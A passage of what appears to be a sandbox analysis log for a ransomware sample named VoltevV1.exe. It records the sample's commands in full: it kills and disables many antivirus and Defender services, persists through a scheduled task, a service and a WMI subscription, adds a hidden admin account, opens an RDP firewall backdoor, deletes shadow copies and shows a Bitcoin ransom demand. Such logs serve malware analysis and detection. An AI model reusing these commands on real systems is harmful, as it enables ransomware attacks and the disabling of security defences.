    PID:6272
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4376
- - C:\Windows\System32\sc.exe
    sc stop ekrn
    3⤵
    PID:3336
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    PID:5768
- - C:\Windows\System32\sc.exe
    sc config ekrn start= disabled
    3⤵
    PID:4556
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4844
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im ekrn.exe
    3⤵
    PID:1780
- - C:\Windows\System32\sc.exe
    sc stop "ESET Firewall Helper"
    3⤵
    - Launches sc.exe
    PID:3752
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im ekrn.exe
    3⤵
    PID:5892
- - C:\Windows\System32\sc.exe
    sc config "ESET Firewall Helper" start= disabled
    3⤵
    PID:6628
- - C:\Windows\System32\sc.exe
    sc stop AVP
    3⤵
    PID:5928
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6984
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kav.exe
    3⤵
    - Kills process with taskkill
    PID:3264
- - C:\Windows\System32\sc.exe
    sc config AVP start= disabled
    3⤵
    - Launches sc.exe
    PID:5392
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kav.exe
    3⤵
    PID:6016
- - C:\Windows\System32\sc.exe
    sc stop klnagent
    3⤵
    PID:3020
- - C:\Windows\System32\sc.exe
    sc config klnagent start= disabled
    3⤵
    PID:6664
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kavtray.exe
    3⤵
    PID:6420
- - C:\Windows\System32\sc.exe
    sc stop KAVFS
    3⤵
    PID:3860
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kavtray.exe
    3⤵
    PID:2564
- - C:\Windows\System32\sc.exe
    sc config KAVFS start= disabled
    3⤵
    PID:3684
- - C:\Windows\System32\sc.exe
    sc stop McAfeeFramework
    3⤵
    PID:1508
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    - Kills process with taskkill
    PID:2044
- - C:\Windows\System32\sc.exe
    sc config McAfeeFramework start= disabled
    3⤵
    PID:1288
- - C:\Windows\System32\sc.exe
    sc stop McShield
    3⤵
    PID:4364
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    PID:3064
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4188
- - C:\Windows\System32\sc.exe
    sc config McShield start= disabled
    3⤵
    - Launches sc.exe
    PID:2100
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mcshield.exe
    3⤵
    - Kills process with taskkill
    PID:6192
- - C:\Windows\System32\sc.exe
    sc stop McTaskManager
    3⤵
    PID:6768
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3720
- - C:\Windows\System32\sc.exe
    sc config McTaskManager start= disabled
    3⤵
    - Launches sc.exe
    PID:1528
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3264
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mcshield.exe
    3⤵
    PID:3756
- - C:\Windows\System32\sc.exe
    sc stop "Norton Security"
    3⤵
    - Launches sc.exe
    PID:2844
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mcuicnt.exe
    3⤵
    PID:5200
- - C:\Windows\System32\sc.exe
    sc config "Norton Security" start= disabled
    3⤵
    PID:4564
- - C:\Windows\System32\sc.exe
    sc stop "Norton Antivirus"
    3⤵
    PID:2032
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mcuicnt.exe
    3⤵
    PID:6320
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7156
- - C:\Windows\System32\sc.exe
    sc config "Norton Antivirus" start= disabled
    3⤵
    - Launches sc.exe
    PID:5860
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3400
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im NortonSecurity.exe
    3⤵
    PID:2940
- - C:\Windows\System32\sc.exe
    sc stop nsWscSvc
    3⤵
    PID:3468
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3428
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im NortonSecurity.exe
    3⤵
    - Kills process with taskkill
    PID:7140
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4536
- - C:\Windows\System32\sc.exe
    sc config nsWscSvc start= disabled
    3⤵
    PID:6948
- - C:\Windows\System32\sc.exe
    sc stop SavService
    3⤵
    PID:6788
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7136
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im nsWscSvc.exe
    3⤵
    - Kills process with taskkill
    PID:6472
- - C:\Windows\System32\sc.exe
    sc config SavService start= disabled
    3⤵
    - Launches sc.exe
    PID:2576
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6428
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im nsWscSvc.exe
    3⤵
    PID:6312
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3900
- - C:\Windows\System32\sc.exe
    sc stop "Sophos Agent"
    3⤵
    PID:4832
- - C:\Windows\System32\sc.exe
    sc config "Sophos Agent" start= disabled
    3⤵
    PID:476
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im SavService.exe
    3⤵
    PID:3768
- - C:\Windows\System32\sc.exe
    sc stop "Sophos AutoUpdate"
    3⤵
    PID:1272
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im SavService.exe
    3⤵
    - Kills process with taskkill
    PID:3852
- - C:\Windows\System32\sc.exe
    sc config "Sophos AutoUpdate" start= disabled
    3⤵
    - Launches sc.exe
    PID:6852
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im SophosUI.exe
    3⤵
    PID:5864
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3952
- - C:\Windows\System32\sc.exe
    sc stop "Trend Micro Client"
    3⤵
    PID:3932
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1076
- - C:\Windows\System32\sc.exe
    sc config "Trend Micro Client" start= disabled
    3⤵
    PID:924
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im SophosUI.exe
    3⤵
    - Kills process with taskkill
    PID:2308
- - C:\Windows\System32\sc.exe
    sc stop TmCCSF
    3⤵
    PID:5396
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im "Trend Micro"
    3⤵
    PID:3068
- - C:\Windows\System32\sc.exe
    sc config TmCCSF start= disabled
    3⤵
    PID:5880
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1620
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im "Trend Micro"
    3⤵
    - Kills process with taskkill
    PID:4632
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5948
- - C:\Windows\System32\sc.exe
    sc stop TmPfw
    3⤵
    PID:6956
- - C:\Windows\System32\sc.exe
    sc config TmPfw start= disabled
    3⤵
    - Launches sc.exe
    PID:5168
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im TmPfw.exe
    3⤵
    PID:5712
- - C:\Windows\System32\sc.exe
    sc stop "AVG Antivirus"
    3⤵
    PID:6152
- - C:\Windows\System32\sc.exe
    sc config "AVG Antivirus" start= disabled
    3⤵
    PID:5808
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im TmPfw.exe
    3⤵
    PID:552
- - C:\Windows\System32\sc.exe
    sc stop "AVG Firewall"
    3⤵
    PID:3788
- - C:\Windows\System32\sc.exe
    sc config "AVG Firewall" start= disabled
    3⤵
    - Launches sc.exe
    PID:2080
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im TmProxy.exe
    3⤵
    PID:6400
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im TmProxy.exe
    3⤵
    PID:5464
- - C:\Windows\System32\sc.exe
    sc stop AVGIDSAgent
    3⤵
    PID:6560
- - C:\Windows\System32\sc.exe
    sc config AVGIDSAgent start= disabled
    3⤵
    PID:6160
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6468
- - C:\Windows\System32\sc.exe
    sc stop "Webroot SecureAnywhere"
    3⤵
    - Launches sc.exe
    PID:6320
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AVGUI.exe
    3⤵
    PID:6040
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AVGUI.exe
    3⤵
    PID:2140
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6732
- - C:\Windows\System32\sc.exe
    sc config "Webroot SecureAnywhere" start= disabled
    3⤵
    PID:1212
- - C:\Windows\System32\sc.exe
    sc stop WRConsumerService
    3⤵
    PID:3288
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AVGSvc.exe
    3⤵
    PID:1192
- - C:\Windows\System32\sc.exe
    sc config WRConsumerService start= disabled
    3⤵
    PID:7096
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5500
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AVGSvc.exe
    3⤵
    - Kills process with taskkill
    PID:6120
- - C:\Windows\System32\sc.exe
    sc stop MpsSvc
    3⤵
    PID:6800
- - C:\Windows\System32\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:972
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im wrsa.exe
    3⤵
    - Kills process with taskkill
    PID:6476
- - C:\Windows\System32\sc.exe
    sc stop Sense
    3⤵
    PID:2316
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im wrsa.exe
    3⤵
    PID:6416
- - C:\Windows\System32\sc.exe
    sc config Sense start= disabled
    3⤵
    PID:6928
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im WRSA.exe
    3⤵
    - Kills process with taskkill
    PID:4724
- - C:\Windows\System32\sc.exe
    sc stop WdFilter
    3⤵
    PID:5672
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im WRSA.exe
    3⤵
    PID:6552
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5668
- - C:\Windows\System32\sc.exe
    sc config WdFilter start= disabled
    3⤵
    PID:2360
- - C:\Windows\System32\sc.exe
    sc stop WdNisDrv
    3⤵
    PID:1268
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1340
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im msmpeng.exe
    3⤵
    PID:472
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im msmpeng.exe
    3⤵
    - Kills process with taskkill
    PID:6044
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1212
- - C:\Windows\System32\sc.exe
    sc config WdNisDrv start= disabled
    3⤵
    PID:3912
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2816
- - C:\Windows\System32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:1528
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mssense.exe
    3⤵
    - Kills process with taskkill
    PID:7068
- - C:\Windows\System32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:6848
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2684
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mssense.exe
    3⤵
    PID:3212
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7096
- - C:\Windows\System32\sc.exe
    sc stop WinDefend
    3⤵
    PID:7028
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1512
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MSASCuiL.exe
    3⤵
    - Kills process with taskkill
    PID:7016
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6876
- - C:\Windows\System32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    PID:6124
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MSASCuiL.exe
    3⤵
    PID:5892
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:1092
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5808
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    PID:2632
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    PID:5448
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MRT.exe
    3⤵
    - Kills process with taskkill
    PID:6600
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MRT.exe
    3⤵
    - Kills process with taskkill
    PID:3480
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mrt.exe
    3⤵
    PID:6140
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5332
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mrt.exe
    3⤵
    PID:5136
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6692
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MRT-KB890830.exe
    3⤵
    PID:1112
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MRT-KB890830.exe
    3⤵
    PID:5492
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:7100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6640
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:7144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:6688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:5980

C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe
"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5460
- C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe
  "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"
  2⤵
  - Disables RegEdit via registry modification
  - Drops startup file
  - Loads dropped DLL
  - Modifies visibility of existing users in the login screen
  - Adds Run key to start application
  - Modifies WinLogon
  PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "SJ4b8khqFe" /tr "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" /sc onlogon /rl highest /f"
    3⤵
    PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user FDUdVm2tCAjLDC 5iJumGN1A3YtucxsvJ /add /y"
    3⤵
    PID:3480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall firewall add rule name="RDP_Backdoor" dir=in action=allow protocol=TCP localport=3389"
    3⤵
    PID:7156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="AIuGpgSBNX", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"""
    3⤵
    PID:1604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo Recovery file: C:\Users\Admin\Desktop\VOLTEV_RECOVERY.txt && echo Total encrypted: 1 && echo Send 0.5 BTC to bc1qdadkua9ytqmkkaa2hfu8qg0hl0wa0hcxn9emx4 && pause"
    3⤵
    PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create 7HIFC0SrzlvyOolv binPath= "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" start= auto"
    3⤵
    PID:7136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup administrators FDUdVm2tCAjLDC /add"
    3⤵
    PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="59vWWC9S", ExecutablePath="C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe", CommandLineTemplate=""C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe" "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"""
    3⤵
    PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc description 7HIFC0SrzlvyOolv "System Service""
    3⤵
    PID:5536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"AIuGpgSBNX\"", Consumer="CommandLineEventConsumer.Name=\"59vWWC9S\""
    3⤵
    PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete /nointeractive"
    3⤵
    PID:1748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
    3⤵
    PID:6272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:6468
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:3524
- - C:\Windows\System32\sc.exe
    sc stop WinDefend
    3⤵
    PID:2592
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    PID:6324
- - C:\Windows\System32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4148
- - C:\Windows\System32\sc.exe
    sc stop WdNisSvc
    3⤵
    - Launches sc.exe
    PID:3068
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:5420
- - C:\Windows\System32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4800
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    PID:3540
- - C:\Windows\System32\sc.exe
    sc stop SecurityHealthService
    3⤵
    PID:4364
- - C:\Windows\System32\sc.exe
    sc config SecurityHealthService start= disabled
    3⤵
    - Launches sc.exe
    PID:5384
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MpCmdRun.exe
    3⤵
    - Kills process with taskkill
    PID:6656
- - C:\Windows\System32\sc.exe
    sc stop wscsvc
    3⤵
    - Launches sc.exe
    PID:5056
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im MpCmdRun.exe
    3⤵
    PID:1780
- - C:\Windows\System32\sc.exe
    sc config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1616
- - C:\Windows\System32\sc.exe
    sc stop AvastSvc
    3⤵
    PID:4604
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastSvc.exe
    3⤵
    - Kills process with taskkill
    PID:5632
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastSvc.exe
    3⤵
    PID:1592
- - C:\Windows\System32\sc.exe
    sc config AvastSvc start= disabled
    3⤵
    PID:5996
- - C:\Windows\System32\sc.exe
    sc stop "AVG Antivirus"
    3⤵
    PID:3720
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6744
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastUI.exe
    3⤵
    PID:2784
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im AvastUI.exe
    3⤵
    - Kills process with taskkill
    PID:3884
- - C:\Windows\System32\sc.exe
    sc config "AVG Antivirus" start= disabled
    3⤵
    PID:2640
- - C:\Windows\System32\sc.exe
    sc stop "avast! Antivirus"
    3⤵
    PID:6816
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avgnt.exe
    3⤵
    PID:4376
- - C:\Windows\System32\sc.exe
    sc config "avast! Antivirus" start= disabled
    3⤵
    PID:2456
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avgnt.exe
    3⤵
    PID:6524
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4968
- - C:\Windows\System32\sc.exe
    sc stop Avira.ServiceHost
    3⤵
    PID:5404
- - C:\Windows\System32\sc.exe
    sc config Avira.ServiceHost start= disabled
    3⤵
    PID:4612
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avguard.exe
    3⤵
    PID:3428
- - C:\Windows\System32\sc.exe
    sc stop Avira.Scheduler
    3⤵
    - Launches sc.exe
    PID:5484
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avguard.exe
    3⤵
    PID:1500
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4064
- - C:\Windows\System32\sc.exe
    sc config Avira.Scheduler start= disabled
    3⤵
    - Launches sc.exe
    PID:3184
- - C:\Windows\System32\sc.exe
    sc stop Avira.Updater
    3⤵
    PID:6540
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avscan.exe
    3⤵
    PID:6152
- - C:\Windows\System32\sc.exe
    sc config Avira.Updater start= disabled
    3⤵
    - Launches sc.exe
    PID:4836
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2968
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avscan.exe
    3⤵
    - Kills process with taskkill
    PID:3060
- - C:\Windows\System32\sc.exe
    sc stop BdDesktopParental
    3⤵
    PID:1512
- - C:\Windows\System32\sc.exe
    sc config BdDesktopParental start= disabled
    3⤵
    - Launches sc.exe
    PID:6476
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im bdagent.exe
    3⤵
    PID:5908
- - C:\Windows\System32\sc.exe
    sc stop VSSERV
    3⤵
    - Launches sc.exe
    PID:7096
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im bdagent.exe
    3⤵
    PID:2456
- - C:\Windows\System32\sc.exe
    sc config VSSERV start= disabled
    3⤵
    - Launches sc.exe
    PID:2228
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im vsserv.exe
    3⤵
    PID:5932
- - C:\Windows\System32\sc.exe
    sc stop BDUpdCtrl
    3⤵
    PID:4296
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:6732
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6156
- - C:\Windows\System32\sc.exe
    sc config BDUpdCtrl start= disabled
    3⤵
    PID:2976
- - C:\Windows\System32\sc.exe
    sc stop "ESET Service"
    3⤵
    PID:6372
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6976
- - C:\Windows\System32\sc.exe
    sc config "ESET Service" start= disabled
    3⤵
    PID:1864
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    - Kills process with taskkill
    PID:7108
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im egui.exe
    3⤵
    PID:5052
- - C:\Windows\System32\sc.exe
    sc stop ekrn
    3⤵
    - Launches sc.exe
    PID:5416
- - C:\Windows\System32\sc.exe
    sc config ekrn start= disabled
    3⤵
    PID:6800
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im ekrn.exe
    3⤵
    PID:1096
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im ekrn.exe
    3⤵
    PID:1112
- - C:\Windows\System32\sc.exe
    sc stop "ESET Firewall Helper"
    3⤵
    PID:2628
- - C:\Windows\System32\sc.exe
    sc config "ESET Firewall Helper" start= disabled
    3⤵
    PID:2844
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kav.exe
    3⤵
    - Kills process with taskkill
    PID:3096
- - C:\Windows\System32\sc.exe
    sc stop AVP
    3⤵
    PID:5760
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kav.exe
    3⤵
    PID:5860
- - C:\Windows\System32\sc.exe
    sc config AVP start= disabled
    3⤵
    PID:3912
- - C:\Windows\System32\sc.exe
    sc stop klnagent
    3⤵
    PID:2940
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kavtray.exe
    3⤵
    - Kills process with taskkill
    PID:5668
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im kavtray.exe
    3⤵
    PID:5948
- - C:\Windows\System32\sc.exe
    sc config klnagent start= disabled
    3⤵
    PID:1604
- - C:\Windows\System32\sc.exe
    sc stop KAVFS
    3⤵
    PID:4148
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6404
- - C:\Windows\System32\sc.exe
    sc config KAVFS start= disabled
    3⤵
    PID:2836
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    - Kills process with taskkill
    PID:252
- - C:\Windows\System32\sc.exe
    sc stop McAfeeFramework
    3⤵
    PID:1608
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1724
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im avp.exe
    3⤵
    PID:2784
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6816
- - C:\Windows\System32\sc.exe
    sc config McAfeeFramework start= disabled
    3⤵
    PID:2116
- - C:\Windows\System32\sc.exe
    sc stop McShield
    3⤵
    PID:2796
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5908
- - C:\Windows\System32\taskkill.exe
    taskkill /f /im mcshield.exe
    3⤵
    PID:5720
- - C:\Windows\System32\sc.exe
    sc config McShield start= disabled
    3⤵
    PID:5712
- - C:\Windows\System32\taskkill.exe
